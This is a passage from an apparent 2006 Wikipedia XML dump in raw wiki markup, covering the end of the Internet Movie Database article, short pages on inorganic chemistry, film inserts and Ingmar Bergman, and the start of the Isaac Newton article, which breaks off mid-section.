Despite these drawbacks and frequent complaints that the list is only a popularity contest, the list comprises films from a wide strata, including major releases, cult films, independent films, critically acclaimed films, silent films and foreign films. Since movies are subjective in nature and every viewer is in essence a critic, all lists are ultimately a matter of apples and oranges. It is a credit to the IMDb that the films represented on the list are wide and eclectic in range. The number one film on the list is [[Francis Ford Coppola]]'s [[The Godfather]] which is often considered a candidate for the all time greatest films by both professional critics and cinemagoers. 

The IMDb also has a [http://www.imdb.com/bottom_100_films Bottom 100] feature which is assembled in the same way.  A disproportionate number of &quot;Bottom 100&quot; films were featured on [[Mystery Science Theater 3000]], as a result of an MST3K website encouraging all its users to register with IMDb and vote &quot;1&quot; on films featured on the show, during IMDb's early years.

===Message boards===
One of the most used features of the Internet Movie Database is the Message Boards that coincide with every database entry, along with 47 Main Boards. These boards allow registered users to share, discuss and debate information about the movie/actor/writer.  They were not originally part of the IMDb, but were added only after its purchase by Amazon.com, some time in the year 2000.

The [http://www.imdb.com/boards/ Main Boards] are wide discussion forums that pertain to certain aspects of film discussion. They divide into the categories ''Trivia! Trivia!'' (various aspects of detailed film minutia), ''Awards Season'' (various movie awards winners and nominees), ''FilmTalk'' (talk about film in general and specific films), ''TV Talk'' (television shows, new and old), ''Shop Talk'' (film professions), ''Genre Zone'' (a number of established movie genres), ''Around the World'' (global cinema), ''Star Talk'' (celebrities and film professionals), ''General Boards'' (miscellaneous and non-film-related topics), and ''IMDb Help'' (anything pertaining directly to the site itself).  As the IMDb expires older posts from all message boards variably, it is difficult to precisely measure traffic according to individual board, but [http://www.imdb.com/board/bd0000043/threads/ The Sandbox] and [http://www.imdb.com/board/bd0000044/threads/ The Soapbox] are amongst the highest traffic boards on IMDb. The Soapbox is a general purpose discussion board, where users can go for &quot;their more heated discussions&quot;. The Sandbox is a general purpose, anything-goes board designated for test messages and off-topic posts.

Over the last 5 years the [[George W. Bush]] and Soapbox message boards (and, to a lesser extent, the ''[[Fahrenheit 9/11]]'' and ''[[The Passion of the Christ]]'' message boards and other message boards for political and religious personas) have been major targets for heated debate, ranting and [[trolling]].


Registered Users: 8,630,000 - Jan 1 2006 -- 9,000,000 Sun Jan 22 2006

[http://www.imdb.com/ IMDb Home page] - &quot;Visited by over 30 million movie lovers each month!&quot;

==Copyright issues==
All volunteers who contribute content to the database retain [[copyright]] to their contributions but grant full rights to copy, modify, and sublicense the content to IMDb. IMDb in turn does not allow others to use movie summaries or actor biographies without written permission. Using filtering [[software]] to avoid the display of advertisements from the site is also explicitly forbidden. Only small subsets of filmographies are allowed to be quoted, and only on non-commercial websites.

==Criticisms==
{{POV}} 
{{verify}}
Despite its popularity, IMDb still has its share of critics. Some of the more common complaints leveled against the site include:

*The ability of the software to filter content is limited. 

*Only 17 staff members are actively involved in validating and processing through the system the hundreds of thousands of lines of presumed information contributed each month. 

*Staff members gauge the validity of contributed data based on the past reliability of the contributor, as none are themselves experts in significantly varied areas of film history to know what is valid themselves.

*Submissions of product data are processed by categories of personnel contained in the submission, meaning the data for one film, e.g., is broken up into several components and examined independently of the other components, then reassembled without checking the continuity of the whole, which may be further disrupted if one manager's section(s) is/are backlogged, an unfortunately regular occurrence at IMDb. 

*Submission policies have become more rigid over the years, and approval of new titles to be added has become more cautious, but errors still abound while the added restrictions have made it more difficult to add information to the database or correct fallacies. For example, the editors will generally not allow the addition of new program entries (films, TV series, documentaries, etc.) unless a website featuring said production is provided, making it difficult for users to add older or obscure titles produced before the days of the internet.

* Film crew professionals are woefully represented on the &quot;full cast and crew&quot; listings giving a false impression of who did what and creating more confusion when copycat sites re-inforce the mythology that is &quot;IMDB&quot;

*Furthermore, IMDb also retains the right to publish AND what not to publish in such categories as a film's trivia, goofs, celebrity information, etc., regardless of how true it is.  It is common for an item to be published one day, only to be relinquished the next; in other cases, it is impossible to get a demonstrably untrue piece of information removed.

*There is a lack of ongoing moderation for its message boards. Many irrelevant, attacking or obscene messages, and general trolling, has increasingly plagued the boards of films and personalities, not to mention the board set up by IMDb for the explicit purpose of being an outlet for skreed (&quot;The Soapbox&quot;), which seems to only attract more flame-warriors and trolls to the site. Although offensive messages can be reported, their removals are very slow, and users have been given an &quot;ignore this poster&quot; option as a sop (the function blocks the message from the view of the user who has placed someone on his/her ignore list; the offending poster's contributions remain live and visible to anyone who does not have them in &quot;ignore&quot; status.

*The &quot;Mini biography&quot; section (see a full view by clicking the &quot;(show more)&quot; link) on each actor's homepage has information which is very uneven and out-of-date, and in many cases shoddy and  completely non-verified. The information regarding the most popular and established performers is often (but not always) correct, with the quality and veracity of the data of the supporting and less well-known players often very rough and quite unreliable.

== See also ==

*[[MovieTome.com]]
*[[All-Movie Guide]]
*[[Internet Broadway Database]]
*[[Internet Book Database]]
*[[Fictional film]]
*[[Films that have been considered the greatest ever]]
*[[Films considered the worst ever]]
*[[Rotten Tomatoes]]
*[[Internet Movie Cars Database]]
*[[Internet Adult Film Database]]

==External links==
* [http://www.imdb.com/ The Internet Movie Database]&amp;mdash;including a [http://us.imdb.com/Copyright copyright statement], [http://us.imdb.com/terms/ license terms], and [http://www.imdb.com/database_statistics database statistics]
* [http://www.imdb.co.uk/ IMDb's UK mirror]
* [http://us.imdb.com/Help/Oweek/history IMDb's history of itself]
* [http://www.imdb.com/boards/ IMDb general message boards]
* [http://french.imdb.com/ IMDb's French site with French alternate titles]
* [http://german.imdb.com/ IMDb's German site with German alternate titles]
* [http://italian.imdb.com/ IMDb's Italian site with Italian alternate titles]
* [http://spanish.imdb.com/ IMDb's Spanish site with Spanish alternate titles]
* [http://portuguese.imdb.com/ IMDb's Portuguese site with Portuguese alternate titles]
* [http://www.laweekly.com/deadline-hollywood/9084/do-you-imdb/ &quot;Do You IMDb?&quot;] August 2004 article from ''[[L.A. Weekly]]''
* [http://www.blogsnow.com/bnxiqq Most linked to IMDb entries]
===The IMDb's newsgroup origins===
*{{note|THE_LIST}} Unfortunately, [[Google Groups]] coverage of rec.arts.movies is incomplete during the relevant time period, with a 6-month gap in late 1988 and early 1989 and a number of missing articles after that. [http://groups.google.com/group/rec.arts.movies/msg/eb9c16cf85b549b0?dmode=source&amp;hl=en This posting], with almost 1000 entries, is the earliest version of THE LIST that is preserved. [http://groups.google.com/group/rec.arts.movies/msg/0be3766859a054d7?dmode=source&amp;hl=en This response] to an item in the newsgroup's [[FAQ list]] tells the then-recent story of the list's origin.
*{{note|MRR}} Chuck Musciano's first posting proposing the movie ratings report is also missing, but here are his [http://groups.google.com/group/rec.arts.movies/msg/35c44009a40310da?dmode=source&amp;hl=en first call for votes] and his [http://groups.google.com/group/rec.arts.movies/msg/15a4b0ea83c44e67?dmode=source&amp;hl=en first ratings report].
*{{note|Combined}} [http://groups.google.com/group/rec.arts.movies/msg/0203e8ba735348fd?dmode=source&amp;hl=en Needham's first combined LIST and ratings report]. His first posting of the database scripts is not available.
*[http://groups.google.com/group/rec.arts.movies/msg/dcc90b58a95e1883?dmode=source&amp;hl=en A 1994 FAQ list for the database]. Section 8 tells its early history in a less sanitized manner than the IMDb link above.


[[Category:Movie websites|Internet Movie Database]]
[[Category:Amazon.com|Internet Movie Database]]
[[Category:Online databases|Internet Movie Database]]

[[bg:Internet Movie Database]]
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[[zh:因特网电影数据库]]</text>
    </revision>
  </page>
  <page>
    <title>Integers</title>
    <id>14623</id>
    <revision>
      <id>15912161</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Integer]]
</text>
    </revision>
  </page>
  <page>
    <title>Inorganic chemistry</title>
    <id>14624</id>
    <revision>
      <id>41486278</id>
      <timestamp>2006-02-27T18:08:32Z</timestamp>
      <contributor>
        <ip>72.1.206.187</ip>
      </contributor>
      <text xml:space="preserve">'''Inorganic chemistry''' is the branch of [[chemistry]] concerned with the properties and reactions of [[inorganic compound]]s. This includes all chemical compounds except the many which are based upon chains or rings of [[carbon]] atoms, which are termed organic compounds and are studied under the separate heading of [[organic chemistry]]. The distinction between the two disciplines is not absolute and there is much overlap, most importantly in the sub-discipline of [[organometallic chemistry]].

==Categories of [[inorganic chemical reaction]]s==
There are four categories of inorganic chemical reactions: [[combination reaction]]s, [[decomposition reaction]]s, [[single displacement reaction]]s, and [[double displacement reaction]]s.

==Branches of inorganic chemistry==
Major branches of inorganic chemistry include
* [[Mineral|Minerals]], such as [[salt]], [[asbestos]], [[silicate|silicates]],  ...
* [[Metal|Metals]] and their alloys, like [[iron]], [[copper]], [[aluminium]], [[brass]], [[bronze]], ...
* Compounds involving non-metallic elements, like [[silicon]], [[phosphorus]], [[chlorine]], [[oxygen]], for example [[water]]
* [[complex (chemistry) | Metal complexes]]

Commercially important inorganic substances include [[Semiconductor|silicon chips]], [[transistor|transistors]], [[Liquid crystal display|LCD]] screens, [[fiber optics|fiber optical cables]] and a great many [[catalysis|catalysts]].

Inorganic chemistry is based upon [[physical chemistry]] and forms the basis for [[mineralogy]] and [[materials chemistry]]. It often overlaps with [[geochemistry]], [[analytical chemistry]], [[environmental chemistry]] and [[organometallic chemistry]]. 

[[Organometallic chemistry]] combines aspects of [[organic chemistry]] with those of inorganic chemistry, and is formally defined as the study of compounds containing metal-carbon bonds, although many &quot;[[organometallic compound]]s&quot; contain no such bonds. Among the simplest organometallic compounds are the metal carbonyls, in which [[carbon monoxide]] binds to a metal through the carbon. [[Vitamin B12]], whose active site is similar to that of [[hemoglobin|haemoglobin]], is a naturally-occurring, metabolically-important [[organometallic compound]] containing large organic components ([[corrin]] and protein) and a metal, [[cobalt]], bonded to carbon.

The range of inorganic chemistry includes both molecular compounds, which exist as discrete [[molecules]], and [[crystals]], whose structures are described by infinite lattices of regularly-ordered atoms and which are studied by [[crystallography]] and [[solid state chemistry|solid-state chemistry]].

See also [[List_of_publications_in_chemistry#Inorganic chemistry| Important publications in inorganic chemistry]]

{{BranchesofChemistry}}

[[Category:Inorganic chemistry| ]]

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[[ar:كيمياء غير عضوية]]
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[[de:Anorganische Chemie]]
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[[fr:Chimie inorganique]]
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[[id:Kimia anorganik]]
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[[uk:Неорганічна хімія]]</text>
    </revision>
  </page>
  <page>
    <title>Insert (film)</title>
    <id>14625</id>
    <revision>
      <id>36248536</id>
      <timestamp>2006-01-22T19:11:52Z</timestamp>
      <contributor>
        <username>NeoThe1</username>
        <id>34710</id>
      </contributor>
      <minor />
      <comment>Re-fixed link.</comment>
      <text xml:space="preserve">In [[film]], an '''insert''' is a shot of part of a [[scene (film)|scene]] as filmed from a different angle and/or focal length from the [[master shot]].  Inserts cover action already covered in the master shot, but emphasize a different aspect of that action due to the different framing.  An insert is different from a [[cutaway]] in that the cutaway is of action ''not'' covered in the master shot.

There are more exact terms to use when the new, inserted shot is another view of actors: [[close-up]], [[head shot]], [[knee shot]], [[Two Shot|two shot]]. So the term &quot;insert&quot; is often confined to views of objects--and body parts, other than the head. Thus: CLOSE-UP of the gunfighter, INSERT of his hand quivering above the holster, TWO SHOT of his friends watching anxiously, INSERT of the clock ticking.

Often inserts of this sort are done separately from the main action, by a second-unit director using stand-ins.

Inserts and [[cutaway]]s can both be vexacious for directors, as care must be taken to preserve [[Continuity (fiction)|continuity]] by keeping the objects in the same relative position as in the main take, and having the lighting the same.

The [[1975 in film|1975]] movie ''[[Inserts (film)|Inserts]]'' directed by [[John Byrum]] about a [[pornographic film]] production, which starred [[Richard Dreyfuss]] and was originally released with an [[X-rated|X rating]], took its name from this film technique.

==See also==

*[[Cutaway (film)]]

[[Category:Film techniques]]</text>
    </revision>
  </page>
  <page>
    <title>Ingmar Bergman</title>
    <id>14626</id>
    <revision>
      <id>41036831</id>
      <timestamp>2006-02-24T17:20:57Z</timestamp>
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        <username>Chupon</username>
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      </contributor>
      <minor />
      <comment>/* External links */ fixing links</comment>
      <text xml:space="preserve">[[Image:Ingmar bergman.jpg|thumb|200px|Ingmar Bergman]]

{{Audio|sv-Ingmar_Bergman.ogg|'''Ingmar Bergman'''}} (pronounced {{IPA |&amp;#712;b&amp;#603;rjman}} in Swedish, but usually {{IPA |&amp;#712;b&amp;#605;gmən}} in English, [[IPA in Unicode]] notation) (born [[July 14]], [[1918]]) is a [[Sweden|Swedish]] [[theater director|stage]] and [[film director]] who is one of the key film [[auteur]]s of the second half of the [[twentieth century]].

==Biography and style characteristics==
Born in [[Uppsala]], Sweden, to a [[Lutheran church|Lutheran]] minister of Danish descent, Bergman grew up surrounded by religious imagery and discussion.  Bergman attended [[Stockholm University]] and became interested in theater, and later in [[film|cinema]].  His films usually deal with [[existentialism|existential]] questions about mortality, loneliness, and [[faith]]; they are also usually direct and not overtly stylized.  ''[[Persona (movie)|Persona]]'', one of Bergman's most famous films, is unusual among Bergman's work for being both existentialist and [[avant-garde]].

As a director, Bergman favors intuition over intellect, and chooses to be unaggressive in dealing with actors.  Bergman sees himself as having a great responsibility toward them, whom he views as collaborators in a psychologically vulnerable position.  He states that a director must be both honest and supportive to allow others their best work.

Bergman usually writes his own [[screenplay|scripts]], thinking about them for months or years before starting the actual process of writing, which he views as somewhat tedious.  His earlier films are carefully structured, and are either based on [[play|plays]] or written with other authors, usually as a matter of convenience.  Bergman states that in his later works, when his characters sometimes start wanting to do things different from what he had intended, he lets them, calling the results &quot;disastrous&quot; when he doesn't.  Throughout his career, Bergman increasingly lets his actors [[improvisation|improvise]] their dialogue.  In his latest films, he has written just the ideas behind the dialogue, keeping in mind the general direction he thinks it should take.

Bergman developed a personal &quot;repertory company&quot; of Swedish actors whom he repeatedly cast in his films, including [[Max von Sydow]], [[Bibi Andersson]], [[Harriet Andersson]], [[Gunnar Bjornstrand|Gunnar Björnstrand]], [[Erland Josephson]], and the late [[Ingrid Thulin]].  Norwegian actress [[Liv Ullmann]] was the last to join this group (in the 1966 film ''Persona''), and ultimately became most closely associated with Bergman, both artistically and personally. 

Bergman began working with [[Sven Nykvist]], his [[cinematographer]], in [[1953]].  The two of them have sufficient rapport to allow Bergman not to worry about the composition of a shot until the day before it is filmed.  On the morning of the shoot, he speaks to Nykvist briefly about the mood and composition he hopes for, and then leaves him to work without interruption or comment until they discuss the next day's work.

When viewing [[daily rushes]], Bergman stresses the importance of being critical but unemotional, claiming that he asks himself not if the work is great or terrible, but if it is sufficient or if it needs to be reshot.

Bergman encourages young directors not to direct any film that does not have a &quot;message,&quot; but to wait until one comes along that does, yet admits that he himself is not always sure of the message of some of his films.  By Bergman's own accounts, he has never had a problem with funding.  He cites two reasons for it: one, that he does not live in the United States, which he views as obsessed with box-office earnings; and two, that his films tend to be low-budget affairs.  (''[[Cries and Whispers]]'', for instance, was finished for about $450,000, while ''[[Scenes from a Marriage]]''--a six-episode television feature--cost only $200,000.)  Bergman left [[Sweden]] for [[Munich]] when accused of tax evasion.  Though he was later cleared of the charges, he remained in Munich and did not film again in Sweden until [[1982]].  In 1982 he directed ''[[Fanny and Alexander]]''.  Bergman stated that the film would be his last, and that afterwards he would focus on directing theater.  Since then he has directed a number of television specials and written several additional scripts, though he does continue to work in theater. In [[2003]], Bergman, at 84 years old, directed a new film, ''[[Saraband]]'', that represents a departure from his previous works.

When asked about his movies, he says he holds ''[[Persona (movie)|Persona]]'' and ''[[Cries and Whispers]]'' highest in regard, though in an interview in [[2004]], Bergman said that he is 'depressed' by his own films and cannot watch them anymore.  [http://news.bbc.co.uk/1/hi/entertainment/film/3616037.stm]  In these films, he says, he managed to push the medium to its limit. He has denounced the critical classification of three of his films (''[[Through a Glass Darkly]]'', ''[[Winter Light]]'' and ''[[The Silence]]'') as a trilogy: he had no intention of so connecting them, and cannot see any common motifs in them.

His daughter [[Eva Bergman]] (born [[1945]]), is also a director, as is his son [[Daniel Bergman]]. He is also the father of writer [[Linn Ullmann]], with actress [[Liv Ullmann]].

In [[1970]], Bergman received [[The Irving G. Thalberg Memorial Award]] at the [[Academy Awards]] ceremony.

==Filmography== 
*''[[Saraband]]'' (2003) (TV)
*''[[In The Presence of a Clown]]'' (1997) (''Larmar och gör sig till'') (TV)
*''[[After the Rehearsal]]'' (1984) (''Efter repetitionen'')
*''[[Karin's Face]]'' (1984) (''Karins ansikte'') (TV)
*''[[Fanny and Alexander]]'' (1982) (''Fanny och Alexander'') (won 4 [[Academy Award]]s, including one for [[Academy Award for Best Foreign Language Film|Best Foreign Language Film]])
*''[[From the Life of the Marionettes]]'' (1980) (''Aus dem Leben der Marionetten'')
*''[[Autumn Sonata]]'' (1978) (''Höstsonaten'')
*''[[The Serpent's Egg (movie)|The Serpent's Egg]]'' (1977) (''Das Schlangenei'')
*''[[The Magic Flute (film)|The Magic Flute]]'' (1975) (''Trollflöjten''), first shown on Swedish television, followed by a cinematic release
*''[[Face to Face (1976 movie)|Face to Face]]'' (1975) (''Ansikte mot ansikte'')
*''[[Scenes from a Marriage]]'' (1973) (''Scener ur ett äktenskap'')
*''[[Cries and Whispers]]'' (1973) (''Viskningar och rop'') (won [[Academy Award for Best Cinematography]])
*''[[The Touch]]'' (1971) (''Beröringen'')
*''[[The Passion of Anna]]'' (1969) (''En passion'')
*''[[Hour of the Wolf]]'' (1968) (''Vargtimmen'')
*''[[The Rite]]'' (1968) (''Riten'') (TV)
*''[[Shame (film)|Shame]]'' (1968) (''Skammen'')
*''[[Persona (movie)|Persona]]'' (1966)
*''[[All These Women]]'' (1964) (''För att inte tala om alla dessa kvinnor'')
*''[[The Silence]]'' (1963) (''Tystnaden'')
*''[[Winter Light]]'' (1963) (''Nattvardsgästerna'')
*''[[Through a Glass Darkly]]'' (1961) (''Såsom i en spegel'') (won [[Academy Award for Best Foreign Language Film]])
*''[[The Virgin Spring]]'' (1960) (''Jungfrukällan'') (won [[Academy Award for Best Foreign Language Film]])
*''[[The Devil's Eye]]'' (1960) (''Djävulens öga'')
*''[[Brink of Life]]'' (1958) (''Nära livet'')
*''[[The Magician (1958 film)|The Magician]]'' (1958) (''Ansiktet '')
*''[[Wild Strawberries (movie)|Wild Strawberries]]'' (1957) (''Smultronstället'') 
*''[[The Seventh Seal]]'' (1957) (''Det sjunde inseglet'')
*''[[Smiles of a Summer Night]]'' (1955) (''Sommarnattens leende'')
*''[[Dreams (film)|Dreams]]'' (1955) (''Kvinnodröm'')
*''[[A Lesson in Love]]'' (1954) (''En lektion i kärlek'')
*''[[Summer with Monika]]'' (1953) (''Sommaren med Monika'')
*''[[The Naked Night]]'' (1953) (''Gycklarnas afton'')
*''[[Secrets of Women]]'' (1952) (''Kvinnors väntan'')
*''[[Summer Interlude]]'' (1951) (''Sommarlek'')
*''[[To Joy]]'' (1950) (''Till glädje'')
*''[[This Can't Happen Here]]'' (1950) (''Sånt händer inte här'')
*''[[Thirst (film)|Thirst]]'' (1949) (''Törst'')
*''[[Prison (film)|Prison]]'' (1949) (''Fängelse'')
*''[[Port of Call]]'' (1948) (''Hamnstad'')
*''[[Music in Darkness]]'' (1948) (''Musik i mörker'')
*''[[A Ship to India]]'' (1947) (''Skepp till India land'')
*''[[It Rains on Our Love]]'' (1946) (''Det regnar på vår kärlek'')
*''[[Crisis (film)|Crisis]]'' (1946) (''Kris'')

==Screenwriting Works==
*''[[Hets]]'' (''Frenzy'' or ''Torment'' in English) (1944) (Directed by [[Alf Sjöberg]])
*''[[Kvinna utan ansikte]]'' (1947) (Directed by [[Gustaf Molander]])
*''[[Eva (film)|Eva]]'' (1948) (Directed by [[Gustaf Molander]])
*''[[Medan staden sover]]'' (1950) (Directed by [[Lars Erik Kjellgren]])
*''[[Frånskild]]'' (1951) (Directed by [[Gustaf Molander]])
*''[[Sista paret ut]]'' (1956) (Directed by [[Alf Sjöberg]])
*''[[Lustgården]]'' (1961) (Directed by [[Alf Kjellin]])
*''[[The Best Intentions]]'' (1992) (''Den goda viljan'') (Directed by [[Bille August]])
*''[[Söndagsbarn]]'' (1992) (Directed by [[Daniel Bergman]])
*''[[Faithless (2000 film)|Faithless]]'' (2000) (Directed by [[Liv Ullmann]])

==Documentary Works== 
*''[[Fårö Documentary]]'' (1969)  (''Fårö dokument'')
*''[[Fårö Documentary 1979]]'' (1979)  (''Fårö-dokument 1979'')
*''[[Fanny and Alexander Documentary]]'' (1985) (''Dokument Fanny och Alexander'')

==See also==
*[[List of directors]]

==Bibliography==
{{wikiquote}}
*''Bergman on Bergman: Interviews with Ingmar Bergman.''  By Stig Björkman, Torsten Manns, and Jonas Sima; Translated by [[Paul Britten Austin]].  Simon &amp; Schuster, New York.  Swedish edition copyright 1970,  English translation 1973.
*''Filmmakers on filmmaking : the American Film Institute seminars on motion pictures and television.''  Edited by Joseph McBride.  Boston, Houghton Mifflin Co.,  1983.
*''Images: my life in film'',  Ingmar Bergman,  Translated by Marianne Ruuth.  New York, Arcade Pub.,  1994,  ISBN 1559701862
*''The Magic Lantern'',  Ingmar Bergman,  Translated by Joan Tate  New York, Viking Press,  1988,  ISBN 0670819115

==External links==
===Overviews===
*[http://www.ingmarbergman.se/ Ingmar Bergman Face to Face]
*[http://www.samlaren.org/bergman/ Ingmar Bergman Swedish Posters]
*[http://www.sweden.se/templates/cs/BasicFactsheet____4400.aspx A presentation of Ingmar Bergman] from the website Sweden.se.
*{{imdb name|id=0000005|name=Ingmar Bergman}}
*[http://www.bergmanorama.com/index.htm Bergmanorama: The magic works of Ingmar Bergman]
*[http://www.adherents.com/people/pb/Ingmar_Bergman.html The Religious Affiliation of Ingmar Bergman]
*[http://www.sensesofcinema.com/contents/directors/02/bergman.html Senses of Cinema: Great Directors Critical Database]

===Interviews===
*[http://film.guardian.co.uk/interview/interviewpages/0,,427066,00.html The Guardian/NFT interview with Liv Ullmann by Shane Danielson, January 23, 2001]
*[http://film.guardian.co.uk/News_Story/Exclusive/0,,617467,00.html Bergman talks of his dreams and demons in rare interview, by Xan Brooks, The Guardian, December 12, 2001]

===Other articles===
*[http://film.guardian.co.uk/Century_Of_Films/Story/0,,56897,00.html Derek Malcolm on ''Wild Strawberries'', June 10, 1999]
*[http://film.guardian.co.uk/News_Story/Critic_Review/Guardian_review/0,,435340,00.html Peter Bradshaw on ''Trolösa'', The Guardian, February 9, 2001]

==Bibliographies==
*[http://www.lib.berkeley.edu/MRC/bergman.html Ingmar Bergman Bibliography (via UC Berkeley)]

[[Category:1918 births|Bergman, Ingmar]]
[[Category:Living people|Bergman, Ingmar]]
[[Category:Erasmus Prize winners|Bergman, Ingmar]]
[[Category:Atheists|Bergman, Ingmar]]
[[Category:Swedish film directors|Bergman, Ingmar]]
[[Category:People from Uppsala|Bergman, Ingmar]]

[[bg:Ингмар Бергман]]
[[ca:Ingmar Bergman]]
[[cs:Ingmar Bergman]]
[[da:Ingmar Bergman]]
[[de:Ingmar Bergman]]
[[et:Ingmar Bergman]]
[[es:Ingmar Bergman]]
[[eo:Ingmar BERGMAN]]
[[fr:Ingmar Bergman]]
[[hr:Ingmar Bergman]]
[[io:Ingmar Bergman]]
[[id:Ingmar Bergman]]
[[it:Ingmar Bergman]]
[[he:אינגמר ברגמן]]
[[hu:Ingmar Bergman]]
[[nl:Ingmar Bergman]]
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[[ja:イングマール・ベルイマン]]
[[no:Ingmar Bergman]]
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[[pt:Ingmar Bergman]]
[[ro:Ingmar Bergman]]
[[ru:Бергман, Эрнст Ингмар]]
[[sh:Ingmar Bergman]]
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[[uk:Берґман Інґмар]]
[[zh:英格玛·伯格曼]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Newton</title>
    <id>14627</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41932952</id>
      <timestamp>2006-03-02T18:45:55Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/206.77.103.101|206.77.103.101]] ([[User talk:206.77.103.101|talk]]) to last version by Dcandeto</comment>
      <text xml:space="preserve">{{featured article}}
{{Infobox_Biography |
  subject_name=Sir Isaac Newton |
  image_name=GodfreyKneller-IsaacNewton-1689.jpg |
  image_caption= Sir Isaac Newton at 46 in [[Godfrey Kneller]]'s 1689 portrait. |
  dead=dead |
  date_of_birth={{OldStyleDate|4 January|1643|25 December 1642}} |
  place_of_birth=[[Woolsthorpe-by-Colsterworth]], [[Lincolnshire]], [[England]] |
  date_of_death={{OldStyleDate|31 March|1727|20 March}} |
  place_of_death=[[Kensington]], [[London]]
}}

[[Knighthood|Sir]] '''Isaac Newton''', [[Presidents of the Royal Society|PRS]], ({{OldStyleDate|4 January|1643|[[25 December]] [[1642]]}} – {{OldStyleDate|31 March|1727|[[20 March]]}}) was an [[England|English]] [[physics|physicist]], [[mathematics|mathematician]], [[astronomy|astronomer]], [[alchemy|alchemist]], [[inventor]] and [[natural philosophy|natural philosopher]] who is generally regarded as one of the most influential [[scientists]] in history.

Newton wrote the ''[[Philosophiae Naturalis Principia Mathematica]]'' wherein he described [[law of universal gravitation|universal gravitation]] and the three [[Newton's laws of motion|laws of motion]], laying the groundwork for [[classical mechanics]]. By deriving [[Kepler's laws of planetary motion]] from this system, he was the first to show that the motion of bodies on Earth and of [[celestial mechanics|celestial]] bodies are governed by the same set of natural laws. The unifying and [[determinism|deterministic]] power of his laws was integral to the [[scientific revolution]] and the advancement of [[heliocentrism]].

Among other scientific discoveries, Newton realized that the spectrum of [[color|colour]]s observed when [[white]] [[light]] passes through a prism is inherent in the white light and not added by the prism (as [[Roger Bacon]] had claimed in the 13th century), and notably argued that [[wave-particle duality|light is composed of particles]]. He also developed a [[Newton's law of cooling|law of cooling]], describing the rate of cooling of objects when exposed to air. He enunciated the principles of [[conservation of momentum|conservation of momentum and angular momentum]]. Finally, he studied the [[speed of sound]] in air, and voiced a theory of the origin of stars.

Newton shares credit with [[Gottfried Leibniz]] for the development of [[calculus]], which he used to formulate his physical laws. ([[Differential calculus]] however, was conceived centuries earlier in [[India]] by [[Bhaskara]] and the [[Kerala School]].) He also made contributions to other areas of mathematics, having derived the [[binomial theorem]] in its entirety. The mathematician and [[mathematical physicist]] [[Joseph Louis Lagrange]] (1736&amp;ndash;1813), said that &quot;Newton was the greatest genius that ever existed and the most fortunate, for we cannot find more than once a system of the world to establish.&quot; {{fn|20}}

==Biography==
===Early years===
{{IsaacNewtonSegments}}
{{details|Isaac Newton's early life and achievements}}

Newton was born in [[Woolsthorpe-by-Colsterworth]] (at [[Woolsthorpe Manor]]), a [[Hamlet (place)|hamlet]] in the county of [[Lincolnshire]]. Newton was prematurely born and no one expected him to live; indeed, his mother, Hannah Ayscough Newton, is reported to have said that his body at that time could have fit inside a quart mug (Bell, 1937). His father, Isaac, had died three months before Newton's birth. When Newton was two, his mother went to live with her new husband, leaving her son in the care of his grandmother.

According to [[Eric Temple Bell|E.T. Bell]] (1937, Simon and Schuster) and H. Eves:

:''Newton began his schooling in the village schools and was later sent to [[Grantham Grammar School]] where he became the top boy in the school. At [[Grantham]] he lodged with the local [[apothecary]], [[William Clarke (apothecary)|William Clarke]] and eventually became engaged to the apothecary's stepdaughter, Anne Storer, before he went off to [[University of Cambridge|Cambridge University]] at the age of 19. As Newton became engrossed in his studies, the romance cooled and Miss Storer married someone else. It is said he kept a warm memory of this love, but Newton had no other recorded 'sweethearts' and never married.''

However, William Stukeley and Mrs Vincent, the source which Bell and Eves have embroidered so unhelpfully, merely say that Newton entertained 'a passion' for her while he lodged at the Clarke house.  Mrs Vincent's maiden name was Katherine Storer, not Anne.

[[Image:newton.jpg|thumb|left|Engraving after Enoch Seeman's 1726 portrait of Newton]]

From the age of about twelve until he was seventeen, Newton was educated at [[Grantham Grammar School|The King's School in Grantham]] (where his signature can still be seen upon a library window sill). He was removed from school and by Oct 1659 he was to be found at Woolsthorpe where his mother attempted to make a farmer of him. He was, by later reports of his contemporaries, thoroughly unhappy with the work. It appears to be Henry Stokes, master at the King's School, who persuaded his mother to send him back to school so that he might complete his education. This he did at the age of eighteen, achieving an admirable final report. His teacher said:

:''His genius now begins to mount upwards apace and shine out with more strength. He excels particularly in making verses. In everything he undertakes, he discovers an application equal to the pregnancy of his parts and exceeds even the most sanguine expectations I have conceived of him.''

In June 1661 he matriculated to [[Trinity College, Cambridge]]. At that time, the college's teachings were based on those of [[Aristotle]], but Newton preferred to read the more advanced ideas of modern philosophers such as [[René Descartes|Descartes]] and [[astronomers]] such as [[Galileo Galilei|Galileo]], [[Nicolaus Copernicus|Copernicus]] and [[Johannes Kepler|Kepler]]. In 1665 he discovered the [[binomial theorem]] and began to develop a mathematical theory that would later become [[calculus]]. Soon after Newton had obtained his degree in 1665, the University closed down as a precaution against the [[Great Plague]]. For the next 18 months Newton worked at home on calculus, [[optics]] and law of gravitation.

===Middle years===
====Mathematical research====
Newton became a fellow of [[Trinity College, Cambridge|Trinity College]] in 1669. In the same year he circulated his findings in ''De Analysi per Aequationes Numeri Terminorum Infinitas'' (''On Analysis by Infinite Series''), and later in ''De methodis serierum et fluxionum'' (''On the Methods of Series and Fluxions''), whose title gave rise to the &quot;method of fluxions&quot;.

Newton is generally credited with the [[binomial theorem]], an essential step toward the development of modern [[Mathematical analysis|analysis]]. Newton and [[Gottfried Leibniz]] developed the calculus independently, using different notations. Although Newton had worked out his method years before Leibniz, he published almost nothing about it until 1693, and did not give a full account until 1704. Meanwhile, Leibniz began publishing a full account of his methods in 1684. Moreover, Leibniz's notation and &quot;differential Method&quot; were universally adopted on the Continent, and after 1820 or so, in the British Empire. Newton claimed that he had been reluctant to publish his calculus because he feared being mocked for it. Starting in 1699, other members of the [[Royal Society]] accused Leibniz of plagiarism, and the dispute broke out in full force in 1711. Thus began the bitter [[Newton v. Leibniz calculus controversy|calculus priority dispute]] with Leibniz, which marred the lives of both Newton and Leibniz until the latter's death in 1716. This dispute created a divide between British and Continental mathematicians that may have retarded the progress of British mathematics by at least a century.

